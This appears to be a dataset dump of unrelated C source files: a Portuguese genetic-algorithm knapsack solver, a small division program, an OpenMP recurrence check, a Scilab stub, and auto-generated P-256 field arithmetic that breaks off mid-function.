int *e1 = *(int **)p1;
int *e2 = *(int **)p2;
if(e1[numGenes + 1] != e2[numGenes + 1])
return e2[numGenes + 1] - e1[numGenes + 1];
return e2[numGenes] - e1[numGenes];
}
void alocarMemoria(void){
int organismo, i;
scanf("%d %d", &numGenes, &tamMochila);
geracaoAtual = (int**)malloc(sizeof(int*) * NUMERO_ORGANISMOS);
if(geracaoAtual == NULL) {
printf("Erro de alocacao 1\n");
exit(-1);
}
proximaGeracao = (int**)malloc(sizeof(int*) * NUMERO_ORGANISMOS);
if(proximaGeracao == NULL) {
printf("Erro de alocacao 2\n");
exit(-1);
}
for(organismo = 0; organismo < NUMERO_ORGANISMOS; organismo++){
geracaoAtual[organismo] = (int*)malloc(sizeof(int) * (numGenes + 2));
if(geracaoAtual[organismo] == NULL) {
printf("Erro de alocacao 4\n");
exit(-1);
}
proximaGeracao[organismo] = (int*)malloc(sizeof(int) * (numGenes + 2));
if(proximaGeracao[organismo] == NULL) {
printf("Erro de alocacao 5\n");
exit(-1);
}
}
itens = (int **)malloc(sizeof(int *) * numGenes);
if(itens == NULL) {
printf("Erro de alocacao 7\n");
exit(-1);
}
for(i = 0; i < numGenes; i++) {
itens[i] = (int *)malloc(sizeof(int) * 2); // coluna 0 = peso do item | coluna 1 = valor do item
if(itens == NULL) {
printf("Erro de alocacao 8\n");
exit(-1);
}
scanf("%d %d", &itens[i][1], &itens[i][0]);
}
}
void iniciarOrganismos(void){
int organismo, gene;
for(organismo = 0; organismo < NUMERO_ORGANISMOS; organismo++){
for(gene = 0; gene < numGenes; gene++){
geracaoAtual[organismo][gene] = rand() % 2;
if(geracaoAtual[organismo][numGenes] + itens[gene][0] > tamMochila)
geracaoAtual[organismo][gene] = 0;
geracaoAtual[organismo][numGenes] += geracaoAtual[organismo][gene] * itens[gene][0];
geracaoAtual[organismo][numGenes + 1] += geracaoAtual[organismo][gene] * itens[gene][1];
}
}
qsort(geracaoAtual, NUMERO_ORGANISMOS, sizeof(int*), compara);
}
void produzirProximaGeracao(void){
int organismo, gene, paiUm, paiDois, pontoDeCruzamento;
for(organismo = 0; organismo < NUMERO_ORGANISMOS; organismo++){
paiUm = rand() % NUMERO_ORGANISMOS;
do {
paiDois = rand() % NUMERO_ORGANISMOS;
} while(paiDois == paiUm);
pontoDeCruzamento = (rand() % (numGenes - 30)) + 15;
proximaGeracao[organismo][numGenes] = 0;
proximaGeracao[organismo][numGenes + 1] = 0;
for(gene = 0; gene < numGenes; gene++){
if(gene < pontoDeCruzamento){
proximaGeracao[organismo][gene] = geracaoAtual[paiUm][gene];
} else {
proximaGeracao[organismo][gene] = geracaoAtual[paiDois][gene];
}
proximaGeracao[organismo][numGenes] += proximaGeracao[organismo][gene] * itens[gene][0];
proximaGeracao[organismo][numGenes + 1] += proximaGeracao[organismo][gene] * itens[gene][1];
}
gene = rand() % numGenes;
if((rand() % (int)(1.0 / TAXA_MUTACAO)) == 0) {
proximaGeracao[organismo][gene] = proximaGeracao[organismo][gene] ? 0: 1;
proximaGeracao[organismo][numGenes] += proximaGeracao[organismo][gene] * itens[gene][0];
proximaGeracao[organismo][numGenes + 1] += proximaGeracao[organismo][gene] * itens[gene][1];
}
if(proximaGeracao[organismo][numGenes] > tamMochila)
proximaGeracao[organismo][numGenes + 1] = -1;
}
qsort(proximaGeracao, NUMERO_ORGANISMOS, sizeof(int*), compara);
}
void selecionarOrganismo(void){
int i, j = 0, k;
for(i = NUMERO_ORGANISMOS - 1; i >= 0; i--) {
if(geracaoAtual[i][numGenes + 1] < proximaGeracao[j][numGenes + 1]) {
int *tmp = geracaoAtual[i];
int ok = 1;
for(k = 0; k < NUMERO_ORGANISMOS; k++) {
if(geracaoAtual[k][numGenes + 1] == proximaGeracao[j][numGenes + 1]
&& geracaoAtual[k][numGenes] == proximaGeracao[j][numGenes]) {
ok = 0;
break;
}
}
if(ok) {
geracaoAtual[i] = proximaGeracao[j];
proximaGeracao[j] = tmp;
j++;
}
}
}
qsort(geracaoAtual, NUMERO_ORGANISMOS, sizeof(int*), compara);
}
int avaliarOrganismos(void){
int organismo, gene, organismoFitnessAtuais;
totalFitnesses = 0;
for(organismo = 0; organismo < NUMERO_ORGANISMOS; organismo++){
organismoFitnessAtuais = 0;
for(gene = 0; gene < numGenes; gene++){
// if(geracaoAtual[organismo][gene] == organismoModelo[gene]){
// organismoFitnessAtuais++;
// }
}
totalFitnesses += organismoFitnessAtuais;
if(organismoFitnessAtuais == MAXIMO_FITNESS){
return TRUE;
}
}
return FALSE;
}
int fazerExecucao(void){
int geracoes = 1;
iniciarOrganismos();
imprimirAtual(NUMERO_ORGANISMOS);
while(geracoes < MAX_GERACOES){
produzirProximaGeracao();
selecionarOrganismo();
printf("================== GERACAO %d ==================\n", geracoes);
imprimirAtual(1);
imprimirProx(0);
geracoes++;
}
return geracoes;
} |
the_stack_data/45450260.c |
#include <stdlib.h>
int divisor(int param1, int param2, int param3)
{
int res = 0;
int r1 = 1 + rand() % 256;
int r2 = 1 + rand() % 128;
int r3 = 1 + rand() % 365;
return r1 * param1 + r2 * param2 + r3 * param3;
}
int main(void)
{
int x = 123;
int y = divisor(123, 321, 7);
return x / y;
}
|
the_stack_data/23576170.c | #include<stdio.h>
#include<stdlib.h>
#include<omp.h>
int main()
{
int i, j, N, NoOfthreads, total_threads;
printf("Enter number of threads: ");
scanf("%d", &NoOfthreads);
printf("Matrix size: ");
scanf("%d", &N);
if ((NoOfthreads!=1) && (NoOfthreads!=2) && (NoOfthreads!=4) && (NoOfthreads!=8) && (NoOfthreads!= 16) )
{
printf("\n Number of threads should be 1,2,4,8 or 16 for the execution of program. \n\n");
exit(-1);
}
double InputMatrix[N][N];
double CheckMatrix[N][N];
for(i=0; i<N; i++)
for(j=0; j<N; j++)
InputMatrix[i][j] = CheckMatrix[i][j] = i + j;
omp_set_num_threads(NoOfthreads);
for(j=1; j<N; j++)
{
#pragma omp parallel for
for(i = 1; i < N; i++)
{
if(omp_get_thread_num() == 0)
total_threads=omp_get_num_threads();
InputMatrix[i][j] = InputMatrix[i][j] + InputMatrix[i][j - 1];
}
}
for(j=1; j<N; j++)
for(i=1; i<N; i++)
CheckMatrix[i][j] = CheckMatrix[i][j] + CheckMatrix[i][j - 1];
for(i=0; i<N; i++)
for(j=0; j<N; j++)
if(CheckMatrix[i][j] == InputMatrix[i][j])
continue;
else
{
printf("\n\t\t The result of the serial and parallel calculation are not Equal \n");
exit(1);
}
printf("\n The Output Matrix After Loop Nest Containing a Recurrence \n");
for(i=0; i<N; i++)
{
for(j=0; j<N; j++)
printf("%lf\t", InputMatrix[i][j]);
printf("\n");
}
printf("\n\n\t\t Threads : %d",total_threads);
printf("\n\n\t\t Serial And Parallel Calculation Are Same. \n");
printf("\n\t\t..........................................................................\n");
printf("\n");
}
|
the_stack_data/64201691.c |
#include <stdio.h>
void scilab_rt_bar_i2i0d0s0_(int in00, int in01, int matrixin0[in00][in01],
int scalarin0,
double scalarin1,
char* scalarin2)
{
int i;
int j;
int val0 = 0;
for (i = 0; i < in00; ++i) {
for (j = 0; j < in01; ++j) {
val0 += matrixin0[i][j];
}
}
printf("%d", val0);
printf("%d", scalarin0);
printf("%f", scalarin1);
printf("%s", scalarin2);
}
|
the_stack_data/114405.c | /* Autogenerated */
/* curve description: p256 */
/* requested operations: (all) */
/* s = 0x10000000000000000000000000000000000000000000000000000000000000000 (from "2^256") */
/* c = [(26959946667150639794667015087019630673637144422540572481103610249216, 1), (6277101735386680763835789423207666416102355444464034512896, -1), (79228162514264337593543950336, -1), (1, 1)] (from "2^224,1;2^192,-1;2^96,-1;1,1") */
/* machine_wordsize = 64 (from "64") */
/* */
/* NOTE: In addition to the bounds specified above each function, all */
/* functions synthesized for this Montgomery arithmetic require the */
/* input to be strictly less than the prime modulus (s-c), and also */
/* require the input to be in the unique saturated representation. */
/* All functions also ensure that these two properties are true of */
/* return values. */
#include <stdint.h>
typedef unsigned char fiat_p256_uint1;
typedef signed char fiat_p256_int1;
typedef signed __int128 fiat_p256_int128;
typedef unsigned __int128 fiat_p256_uint128;
/*
* Input Bounds:
* arg1: [0x0 ~> 0x1]
* arg2: [0x0 ~> 0xffffffffffffffff]
* arg3: [0x0 ~> 0xffffffffffffffff]
* Output Bounds:
* out1: [0x0 ~> 0xffffffffffffffff]
* out2: [0x0 ~> 0x1]
*/
static void fiat_p256_addcarryx_u64(uint64_t* out1, fiat_p256_uint1* out2, fiat_p256_uint1 arg1, uint64_t arg2, uint64_t arg3) {
fiat_p256_uint128 x1 = ((arg1 + (fiat_p256_uint128)arg2) + arg3);
uint64_t x2 = (uint64_t)(x1 & UINT64_C(0xffffffffffffffff));
fiat_p256_uint1 x3 = (fiat_p256_uint1)(x1 >> 64);
*out1 = x2;
*out2 = x3;
}
/*
* Input Bounds:
* arg1: [0x0 ~> 0x1]
* arg2: [0x0 ~> 0xffffffffffffffff]
* arg3: [0x0 ~> 0xffffffffffffffff]
* Output Bounds:
* out1: [0x0 ~> 0xffffffffffffffff]
* out2: [0x0 ~> 0x1]
*/
static void fiat_p256_subborrowx_u64(uint64_t* out1, fiat_p256_uint1* out2, fiat_p256_uint1 arg1, uint64_t arg2, uint64_t arg3) {
fiat_p256_int128 x1 = ((arg2 - (fiat_p256_int128)arg1) - arg3);
fiat_p256_int1 x2 = (fiat_p256_int1)((fiat_p256_uint128)x1 >> 64);
uint64_t x3 = (uint64_t)(x1 & UINT64_C(0xffffffffffffffff));
*out1 = x3;
*out2 = (fiat_p256_uint1)(0x0 - x2);
}
/*
* Input Bounds:
* arg1: [0x0 ~> 0xffffffffffffffff]
* arg2: [0x0 ~> 0xffffffffffffffff]
* Output Bounds:
* out1: [0x0 ~> 0xffffffffffffffff]
* out2: [0x0 ~> 0xffffffffffffffff]
*/
static void fiat_p256_mulx_u64(uint64_t* out1, uint64_t* out2, uint64_t arg1, uint64_t arg2) {
fiat_p256_uint128 x1 = ((fiat_p256_uint128)arg1 * arg2);
uint64_t x2 = (uint64_t)(x1 & UINT64_C(0xffffffffffffffff));
uint64_t x3 = (uint64_t)(x1 >> 64);
*out1 = x2;
*out2 = x3;
}
/*
* Input Bounds:
* arg1: [0x0 ~> 0x1]
* arg2: [0x0 ~> 0xffffffffffffffff]
* arg3: [0x0 ~> 0xffffffffffffffff]
* Output Bounds:
* out1: [0x0 ~> 0xffffffffffffffff]
*/
static void fiat_p256_cmovznz_u64(uint64_t* out1, fiat_p256_uint1 arg1, uint64_t arg2, uint64_t arg3) {
fiat_p256_uint1 x1 = (!(!arg1));
uint64_t x2 = ((fiat_p256_int1)(0x0 - x1) & UINT64_C(0xffffffffffffffff));
uint64_t x3 = ((x2 & arg3) | ((~x2) & arg2));
*out1 = x3;
}
/*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* arg2: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
*/
static void fiat_p256_mul(uint64_t out1[4], const uint64_t arg1[4], const uint64_t arg2[4]) {
uint64_t x1 = (arg1[1]);
uint64_t x2 = (arg1[2]);
uint64_t x3 = (arg1[3]);
uint64_t x4 = (arg1[0]);
uint64_t x5;
uint64_t x6;
fiat_p256_mulx_u64(&x5, &x6, x4, (arg2[3]));
uint64_t x7;
uint64_t x8;
fiat_p256_mulx_u64(&x7, &x8, x4, (arg2[2]));
uint64_t x9;
uint64_t x10;
fiat_p256_mulx_u64(&x9, &x10, x4, (arg2[1]));
uint64_t x11;
uint64_t x12;
fiat_p256_mulx_u64(&x11, &x12, x4, (arg2[0]));
uint64_t x13;
fiat_p256_uint1 x14;
fiat_p256_addcarryx_u64(&x13, &x14, 0x0, x9, x12);
uint64_t x15;
fiat_p256_uint1 x16;
fiat_p256_addcarryx_u64(&x15, &x16, x14, x7, x10);
uint64_t x17;
fiat_p256_uint1 x18;
fiat_p256_addcarryx_u64(&x17, &x18, x16, x5, x8);
uint64_t x19;
fiat_p256_uint1 x20;
fiat_p256_addcarryx_u64(&x19, &x20, x18, 0x0, x6);
uint64_t x21;
uint64_t x22;
fiat_p256_mulx_u64(&x21, &x22, x11, UINT64_C(0xffffffff00000001));
uint64_t x23;
uint64_t x24;
fiat_p256_mulx_u64(&x23, &x24, x11, UINT32_C(0xffffffff));
uint64_t x25;
uint64_t x26;
fiat_p256_mulx_u64(&x25, &x26, x11, UINT64_C(0xffffffffffffffff));
uint64_t x27;
fiat_p256_uint1 x28;
fiat_p256_addcarryx_u64(&x27, &x28, 0x0, x23, x26);
uint64_t x29;
fiat_p256_uint1 x30;
fiat_p256_addcarryx_u64(&x29, &x30, x28, 0x0, x24);
uint64_t x31;
fiat_p256_uint1 x32;
fiat_p256_addcarryx_u64(&x31, &x32, x30, x21, 0x0);
uint64_t x33;
fiat_p256_uint1 x34;
fiat_p256_addcarryx_u64(&x33, &x34, x32, 0x0, x22);
uint64_t x35;
fiat_p256_uint1 x36;
fiat_p256_addcarryx_u64(&x35, &x36, 0x0, x25, x11);
uint64_t x37;
fiat_p256_uint1 x38;
fiat_p256_addcarryx_u64(&x37, &x38, x36, x27, x13);
uint64_t x39;
fiat_p256_uint1 x40;
fiat_p256_addcarryx_u64(&x39, &x40, x38, x29, x15);
uint64_t x41;
fiat_p256_uint1 x42;
fiat_p256_addcarryx_u64(&x41, &x42, x40, x31, x17);
uint64_t x43;
fiat_p256_uint1 x44;
fiat_p256_addcarryx_u64(&x43, &x44, x42, x33, x19);
uint64_t x45;
fiat_p256_uint1 x46;
fiat_p256_addcarryx_u64(&x45, &x46, x44, 0x0, 0x0);
uint64_t x47;
uint64_t x48;
fiat_p256_mulx_u64(&x47, &x48, x1, (arg2[3]));
uint64_t x49;
uint64_t x50;
fiat_p256_mulx_u64(&x49, &x50, x1, (arg2[2]));
uint64_t x51;
uint64_t x52;
fiat_p256_mulx_u64(&x51, &x52, x1, (arg2[1]));
uint64_t x53;
uint64_t x54;
fiat_p256_mulx_u64(&x53, &x54, x1, (arg2[0]));
uint64_t x55;
fiat_p256_uint1 x56;
fiat_p256_addcarryx_u64(&x55, &x56, 0x0, x51, x54);
uint64_t x57;
fiat_p256_uint1 x58;
fiat_p256_addcarryx_u64(&x57, &x58, x56, x49, x52);
uint64_t x59;
fiat_p256_uint1 x60;
fiat_p256_addcarryx_u64(&x59, &x60, x58, x47, x50);
uint64_t x61;
fiat_p256_uint1 x62;
fiat_p256_addcarryx_u64(&x61, &x62, x60, 0x0, x48);
uint64_t x63;
fiat_p256_uint1 x64;
fiat_p256_addcarryx_u64(&x63, &x64, 0x0, x53, x37);
uint64_t x65;
fiat_p256_uint1 x66;
fiat_p256_addcarryx_u64(&x65, &x66, x64, x55, x39);
uint64_t x67;
fiat_p256_uint1 x68;
fiat_p256_addcarryx_u64(&x67, &x68, x66, x57, x41);
uint64_t x69;
fiat_p256_uint1 x70;
fiat_p256_addcarryx_u64(&x69, &x70, x68, x59, x43);
uint64_t x71;
fiat_p256_uint1 x72;
fiat_p256_addcarryx_u64(&x71, &x72, x70, x61, (fiat_p256_uint1)x45);
uint64_t x73;
uint64_t x74;
fiat_p256_mulx_u64(&x73, &x74, x63, UINT64_C(0xffffffff00000001));
uint64_t x75;
uint64_t x76;
fiat_p256_mulx_u64(&x75, &x76, x63, UINT32_C(0xffffffff));
uint64_t x77;
uint64_t x78;
fiat_p256_mulx_u64(&x77, &x78, x63, UINT64_C(0xffffffffffffffff));
uint64_t x79;
fiat_p256_uint1 x80;
fiat_p256_addcarryx_u64(&x79, &x80, 0x0, x75, x78);
uint64_t x81;
fiat_p256_uint1 x82;
fiat_p256_addcarryx_u64(&x81, &x82, x80, 0x0, x76);
uint64_t x83;
fiat_p256_uint1 x84;
fiat_p256_addcarryx_u64(&x83, &x84, x82, x73, 0x0);
uint64_t x85;
fiat_p256_uint1 x86;
fiat_p256_addcarryx_u64(&x85, &x86, x84, 0x0, x74);
uint64_t x87;
fiat_p256_uint1 x88;
fiat_p256_addcarryx_u64(&x87, &x88, 0x0, x77, x63);
uint64_t x89;
fiat_p256_uint1 x90;
fiat_p256_addcarryx_u64(&x89, &x90, x88, x79, x65);
uint64_t x91;
fiat_p256_uint1 x92;
fiat_p256_addcarryx_u64(&x91, &x92, x90, x81, x67);
uint64_t x93;
fiat_p256_uint1 x94;
fiat_p256_addcarryx_u64(&x93, &x94, x92, x83, x69);
uint64_t x95;
fiat_p256_uint1 x96;
fiat_p256_addcarryx_u64(&x95, &x96, x94, x85, x71);
uint64_t x97;
fiat_p256_uint1 x98;
fiat_p256_addcarryx_u64(&x97, &x98, x96, 0x0, x72);
uint64_t x99;
uint64_t x100;
fiat_p256_mulx_u64(&x99, &x100, x2, (arg2[3]));
uint64_t x101;
uint64_t x102;
fiat_p256_mulx_u64(&x101, &x102, x2, (arg2[2]));
uint64_t x103;
uint64_t x104;
fiat_p256_mulx_u64(&x103, &x104, x2, (arg2[1]));
uint64_t x105;
uint64_t x106;
fiat_p256_mulx_u64(&x105, &x106, x2, (arg2[0]));
uint64_t x107;
fiat_p256_uint1 x108;
fiat_p256_addcarryx_u64(&x107, &x108, 0x0, x103, x106);
uint64_t x109;
fiat_p256_uint1 x110;
fiat_p256_addcarryx_u64(&x109, &x110, x108, x101, x104);
uint64_t x111;
fiat_p256_uint1 x112;
fiat_p256_addcarryx_u64(&x111, &x112, x110, x99, x102);
uint64_t x113;
fiat_p256_uint1 x114;
fiat_p256_addcarryx_u64(&x113, &x114, x112, 0x0, x100);
uint64_t x115;
fiat_p256_uint1 x116;
fiat_p256_addcarryx_u64(&x115, &x116, 0x0, x105, x89);
uint64_t x117;
fiat_p256_uint1 x118;
fiat_p256_addcarryx_u64(&x117, &x118, x116, x107, x91);
uint64_t x119;
fiat_p256_uint1 x120;
fiat_p256_addcarryx_u64(&x119, &x120, x118, x109, x93);
uint64_t x121;
fiat_p256_uint1 x122;
fiat_p256_addcarryx_u64(&x121, &x122, x120, x111, x95);
uint64_t x123;
fiat_p256_uint1 x124;
fiat_p256_addcarryx_u64(&x123, &x124, x122, x113, x97);
uint64_t x125;
uint64_t x126;
fiat_p256_mulx_u64(&x125, &x126, x115, UINT64_C(0xffffffff00000001));
uint64_t x127;
uint64_t x128;
fiat_p256_mulx_u64(&x127, &x128, x115, UINT32_C(0xffffffff));
uint64_t x129;
uint64_t x130;
fiat_p256_mulx_u64(&x129, &x130, x115, UINT64_C(0xffffffffffffffff));
uint64_t x131;
fiat_p256_uint1 x132;
fiat_p256_addcarryx_u64(&x131, &x132, 0x0, x127, x130);
uint64_t x133;
fiat_p256_uint1 x134;
fiat_p256_addcarryx_u64(&x133, &x134, x132, 0x0, x128);
uint64_t x135;
fiat_p256_uint1 x136;
fiat_p256_addcarryx_u64(&x135, &x136, x134, x125, 0x0);
uint64_t x137;
fiat_p256_uint1 x138;
fiat_p256_addcarryx_u64(&x137, &x138, x136, 0x0, x126);
uint64_t x139;
fiat_p256_uint1 x140;
fiat_p256_addcarryx_u64(&x139, &x140, 0x0, x129, x115);
uint64_t x141;
fiat_p256_uint1 x142;
fiat_p256_addcarryx_u64(&x141, &x142, x140, x131, x117);
uint64_t x143;
fiat_p256_uint1 x144;
fiat_p256_addcarryx_u64(&x143, &x144, x142, x133, x119);
uint64_t x145;
fiat_p256_uint1 x146;
fiat_p256_addcarryx_u64(&x145, &x146, x144, x135, x121);
uint64_t x147;
fiat_p256_uint1 x148;
fiat_p256_addcarryx_u64(&x147, &x148, x146, x137, x123);
uint64_t x149;
fiat_p256_uint1 x150;
fiat_p256_addcarryx_u64(&x149, &x150, x148, 0x0, x124);
uint64_t x151;
uint64_t x152;
fiat_p256_mulx_u64(&x151, &x152, x3, (arg2[3]));
uint64_t x153;
uint64_t x154;
fiat_p256_mulx_u64(&x153, &x154, x3, (arg2[2]));
uint64_t x155;
uint64_t x156;
fiat_p256_mulx_u64(&x155, &x156, x3, (arg2[1]));
uint64_t x157;
uint64_t x158;
fiat_p256_mulx_u64(&x157, &x158, x3, (arg2[0]));
uint64_t x159;
fiat_p256_uint1 x160;
fiat_p256_addcarryx_u64(&x159, &x160, 0x0, x155, x158);
uint64_t x161;
fiat_p256_uint1 x162;
fiat_p256_addcarryx_u64(&x161, &x162, x160, x153, x156);
uint64_t x163;
fiat_p256_uint1 x164;
fiat_p256_addcarryx_u64(&x163, &x164, x162, x151, x154);
uint64_t x165;
fiat_p256_uint1 x166;
fiat_p256_addcarryx_u64(&x165, &x166, x164, 0x0, x152);
uint64_t x167;
fiat_p256_uint1 x168;
fiat_p256_addcarryx_u64(&x167, &x168, 0x0, x157, x141);
uint64_t x169;
fiat_p256_uint1 x170;
fiat_p256_addcarryx_u64(&x169, &x170, x168, x159, x143);
uint64_t x171;
fiat_p256_uint1 x172;
fiat_p256_addcarryx_u64(&x171, &x172, x170, x161, x145);
uint64_t x173;
fiat_p256_uint1 x174;
fiat_p256_addcarryx_u64(&x173, &x174, x172, x163, x147);
uint64_t x175;
fiat_p256_uint1 x176;
fiat_p256_addcarryx_u64(&x175, &x176, x174, x165, x149);
uint64_t x177;
uint64_t x178;
fiat_p256_mulx_u64(&x177, &x178, x167, UINT64_C(0xffffffff00000001));
uint64_t x179;
uint64_t x180;
fiat_p256_mulx_u64(&x179, &x180, x167, UINT32_C(0xffffffff));
uint64_t x181;
uint64_t x182;
fiat_p256_mulx_u64(&x181, &x182, x167, UINT64_C(0xffffffffffffffff));
uint64_t x183;
fiat_p256_uint1 x184;
fiat_p256_addcarryx_u64(&x183, &x184, 0x0, x179, x182);
uint64_t x185;
fiat_p256_uint1 x186;
fiat_p256_addcarryx_u64(&x185, &x186, x184, 0x0, x180);
uint64_t x187;
fiat_p256_uint1 x188;
fiat_p256_addcarryx_u64(&x187, &x188, x186, x177, 0x0);
uint64_t x189;
fiat_p256_uint1 x190;
fiat_p256_addcarryx_u64(&x189, &x190, x188, 0x0, x178);
uint64_t x191;
fiat_p256_uint1 x192;
fiat_p256_addcarryx_u64(&x191, &x192, 0x0, x181, x167);
uint64_t x193;
fiat_p256_uint1 x194;
fiat_p256_addcarryx_u64(&x193, &x194, x192, x183, x169);
uint64_t x195;
fiat_p256_uint1 x196;
fiat_p256_addcarryx_u64(&x195, &x196, x194, x185, x171);
uint64_t x197;
fiat_p256_uint1 x198;
fiat_p256_addcarryx_u64(&x197, &x198, x196, x187, x173);
uint64_t x199;
fiat_p256_uint1 x200;
fiat_p256_addcarryx_u64(&x199, &x200, x198, x189, x175);
uint64_t x201;
fiat_p256_uint1 x202;
fiat_p256_addcarryx_u64(&x201, &x202, x200, 0x0, x176);
uint64_t x203;
fiat_p256_uint1 x204;
fiat_p256_subborrowx_u64(&x203, &x204, 0x0, x193, UINT64_C(0xffffffffffffffff));
uint64_t x205;
fiat_p256_uint1 x206;
fiat_p256_subborrowx_u64(&x205, &x206, x204, x195, UINT32_C(0xffffffff));
uint64_t x207;
fiat_p256_uint1 x208;
fiat_p256_subborrowx_u64(&x207, &x208, x206, x197, 0x0);
uint64_t x209;
fiat_p256_uint1 x210;
fiat_p256_subborrowx_u64(&x209, &x210, x208, x199, UINT64_C(0xffffffff00000001));
uint64_t x211;
fiat_p256_uint1 x212;
fiat_p256_subborrowx_u64(&x211, &x212, x210, x201, 0x0);
uint64_t x213;
fiat_p256_cmovznz_u64(&x213, x212, x203, x193);
uint64_t x214;
fiat_p256_cmovznz_u64(&x214, x212, x205, x195);
uint64_t x215;
fiat_p256_cmovznz_u64(&x215, x212, x207, x197);
uint64_t x216;
fiat_p256_cmovznz_u64(&x216, x212, x209, x199);
out1[0] = x213;
out1[1] = x214;
out1[2] = x215;
out1[3] = x216;
}
/*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
*/
static void fiat_p256_square(uint64_t out1[4], const uint64_t arg1[4]) {
uint64_t x1 = (arg1[1]);
uint64_t x2 = (arg1[2]);
uint64_t x3 = (arg1[3]);
uint64_t x4 = (arg1[0]);
uint64_t x5;
uint64_t x6;
fiat_p256_mulx_u64(&x5, &x6, x4, (arg1[3]));
uint64_t x7;
uint64_t x8;
fiat_p256_mulx_u64(&x7, &x8, x4, (arg1[2]));
uint64_t x9;
uint64_t x10;
fiat_p256_mulx_u64(&x9, &x10, x4, (arg1[1]));
uint64_t x11;
uint64_t x12;
fiat_p256_mulx_u64(&x11, &x12, x4, (arg1[0]));
uint64_t x13;
fiat_p256_uint1 x14;
fiat_p256_addcarryx_u64(&x13, &x14, 0x0, x9, x12);
uint64_t x15;
fiat_p256_uint1 x16;
fiat_p256_addcarryx_u64(&x15, &x16, x14, x7, x10);
uint64_t x17;
fiat_p256_uint1 x18;
fiat_p256_addcarryx_u64(&x17, &x18, x16, x5, x8);
uint64_t x19;
fiat_p256_uint1 x20;
fiat_p256_addcarryx_u64(&x19, &x20, x18, 0x0, x6);
uint64_t x21;
uint64_t x22;
fiat_p256_mulx_u64(&x21, &x22, x11, UINT64_C(0xffffffff00000001));
uint64_t x23;
uint64_t x24;
fiat_p256_mulx_u64(&x23, &x24, x11, UINT32_C(0xffffffff));
uint64_t x25;
uint64_t x26;
fiat_p256_mulx_u64(&x25, &x26, x11, UINT64_C(0xffffffffffffffff));
uint64_t x27;
fiat_p256_uint1 x28;
fiat_p256_addcarryx_u64(&x27, &x28, 0x0, x23, x26);
uint64_t x29;
fiat_p256_uint1 x30;
fiat_p256_addcarryx_u64(&x29, &x30, x28, 0x0, x24);
uint64_t x31;
fiat_p256_uint1 x32;
fiat_p256_addcarryx_u64(&x31, &x32, x30, x21, 0x0);
uint64_t x33;
fiat_p256_uint1 x34;
fiat_p256_addcarryx_u64(&x33, &x34, x32, 0x0, x22);
uint64_t x35;
fiat_p256_uint1 x36;
fiat_p256_addcarryx_u64(&x35, &x36, 0x0, x25, x11);
uint64_t x37;
fiat_p256_uint1 x38;
fiat_p256_addcarryx_u64(&x37, &x38, x36, x27, x13);
uint64_t x39;
fiat_p256_uint1 x40;
fiat_p256_addcarryx_u64(&x39, &x40, x38, x29, x15);
uint64_t x41;
fiat_p256_uint1 x42;
fiat_p256_addcarryx_u64(&x41, &x42, x40, x31, x17);
uint64_t x43;
fiat_p256_uint1 x44;
fiat_p256_addcarryx_u64(&x43, &x44, x42, x33, x19);
uint64_t x45;
fiat_p256_uint1 x46;
fiat_p256_addcarryx_u64(&x45, &x46, x44, 0x0, 0x0);
uint64_t x47;
uint64_t x48;
fiat_p256_mulx_u64(&x47, &x48, x1, (arg1[3]));
uint64_t x49;
uint64_t x50;
fiat_p256_mulx_u64(&x49, &x50, x1, (arg1[2]));
uint64_t x51;
uint64_t x52;
fiat_p256_mulx_u64(&x51, &x52, x1, (arg1[1]));
uint64_t x53;
uint64_t x54;
fiat_p256_mulx_u64(&x53, &x54, x1, (arg1[0]));
uint64_t x55;
fiat_p256_uint1 x56;
fiat_p256_addcarryx_u64(&x55, &x56, 0x0, x51, x54);
uint64_t x57;
fiat_p256_uint1 x58;
fiat_p256_addcarryx_u64(&x57, &x58, x56, x49, x52);
uint64_t x59;
fiat_p256_uint1 x60;
fiat_p256_addcarryx_u64(&x59, &x60, x58, x47, x50);
uint64_t x61;
fiat_p256_uint1 x62;
fiat_p256_addcarryx_u64(&x61, &x62, x60, 0x0, x48);
uint64_t x63;
fiat_p256_uint1 x64;
fiat_p256_addcarryx_u64(&x63, &x64, 0x0, x53, x37);
uint64_t x65;
fiat_p256_uint1 x66;
fiat_p256_addcarryx_u64(&x65, &x66, x64, x55, x39);
uint64_t x67;
fiat_p256_uint1 x68;
fiat_p256_addcarryx_u64(&x67, &x68, x66, x57, x41);
uint64_t x69;
fiat_p256_uint1 x70;
fiat_p256_addcarryx_u64(&x69, &x70, x68, x59, x43);
uint64_t x71;
fiat_p256_uint1 x72;
fiat_p256_addcarryx_u64(&x71, &x72, x70, x61, (fiat_p256_uint1)x45);
uint64_t x73;
uint64_t x74;
fiat_p256_mulx_u64(&x73, &x74, x63, UINT64_C(0xffffffff00000001));
uint64_t x75;
uint64_t x76;
fiat_p256_mulx_u64(&x75, &x76, x63, UINT32_C(0xffffffff));
uint64_t x77;
uint64_t x78;
fiat_p256_mulx_u64(&x77, &x78, x63, UINT64_C(0xffffffffffffffff));
uint64_t x79;
fiat_p256_uint1 x80;
fiat_p256_addcarryx_u64(&x79, &x80, 0x0, x75, x78);
uint64_t x81;
fiat_p256_uint1 x82;
fiat_p256_addcarryx_u64(&x81, &x82, x80, 0x0, x76);
uint64_t x83;
fiat_p256_uint1 x84;
fiat_p256_addcarryx_u64(&x83, &x84, x82, x73, 0x0);
uint64_t x85;
fiat_p256_uint1 x86;
fiat_p256_addcarryx_u64(&x85, &x86, x84, 0x0, x74);
uint64_t x87;
fiat_p256_uint1 x88;
fiat_p256_addcarryx_u64(&x87, &x88, 0x0, x77, x63);
uint64_t x89;
fiat_p256_uint1 x90;
fiat_p256_addcarryx_u64(&x89, &x90, x88, x79, x65);
uint64_t x91;
fiat_p256_uint1 x92;
fiat_p256_addcarryx_u64(&x91, &x92, x90, x81, x67);
uint64_t x93;
